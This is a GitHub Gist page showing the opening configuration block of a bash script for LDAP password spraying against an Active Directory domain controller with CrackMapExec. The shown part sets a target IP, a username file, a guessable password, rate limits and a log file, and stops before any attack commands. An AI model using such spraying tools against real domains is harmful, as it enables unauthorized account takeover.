Skip to content

Instantly share code, notes, and snippets.

View control-shift's full-sized avatar

control-shift

  • Joined Jun 19, 2025
View GitHub Profile
@control-shift
control-shift / ldap_password_spray.sh
Created June 20, 2025 01:33
LDAP Password Spraying Script with CrackMapExec (logging, delay, and rate-limiting)
#!/bin/bash
# ------- Configuration -------
TARGET_IP="192.168.1.10" # IP or FQDN of Domain Controller
USER_FILE="users.txt" # File with list of usernames
PASSWORD="Winter2024!" # Password to spray
DOMAIN="corp.local" # AD domain (optional)
RATE_LIMIT=5 # Attempts per second
DELAY=10 # Seconds between attempts
LOG_FILE="cme_ldap_spray_$(date +%F_%H%M%S).log"